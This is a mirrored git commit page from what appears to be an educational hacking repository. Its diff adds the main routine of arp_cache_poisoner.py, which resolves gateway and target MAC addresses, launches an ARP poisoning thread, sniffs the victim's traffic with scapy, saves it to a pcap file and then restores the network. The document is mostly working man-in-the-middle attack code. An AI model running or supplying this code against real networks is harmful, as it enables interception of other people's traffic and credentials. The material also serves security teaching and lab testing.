mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-22 02:43:02 +00:00
Merge pull request #160 from The-Art-of-Hacking/santosomar-patch-5
Update arp_cache_poisoner.py
This commit is contained in:
commit
5077cc26be
1 changed files with 31 additions and 1 deletions
|
@ -82,4 +82,34 @@ if gateway_mac is None:
|
|||
print("[!] Unable to get gateway MAC address. Exiting..")
|
||||
sys.exit(0)
|
||||
else:
|
||||
print(f"[*
|
||||
print(f"[*] Gateway MAC address: {gateway_mac}")
|
||||
|
||||
target_mac = get_mac(target_ip)
|
||||
if target_mac is None:
|
||||
print("[!] Unable to get target MAC address. Exiting..")
|
||||
sys.exit(0)
|
||||
else:
|
||||
print(f"[*] Target MAC address: {target_mac}")
|
||||
|
||||
# Start the ARP poison thread
|
||||
poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
|
||||
poison_thread.start()
|
||||
|
||||
# Collect packet captures and save them to a file
|
||||
try:
|
||||
sniff_filter = "ip host " + target_ip
|
||||
print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
|
||||
packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
|
||||
|
||||
# Save captured packets to a .pcap file
|
||||
wrpcap(target_ip + "_capture.pcap", packets)
|
||||
|
||||
print(f"[*] Stopping network capture..Restoring network")
|
||||
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
|
||||
|
||||
# Gracefully handle KeyboardInterrupt (Ctrl+C) to stop packet capture and restore the network
|
||||
except KeyboardInterrupt:
|
||||
print(f"[*] Stopping network capture..Restoring network")
|
||||
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
|
||||
sys.exit(0)
|
||||
|
||||
|
|
Loading…
Reference in a new issue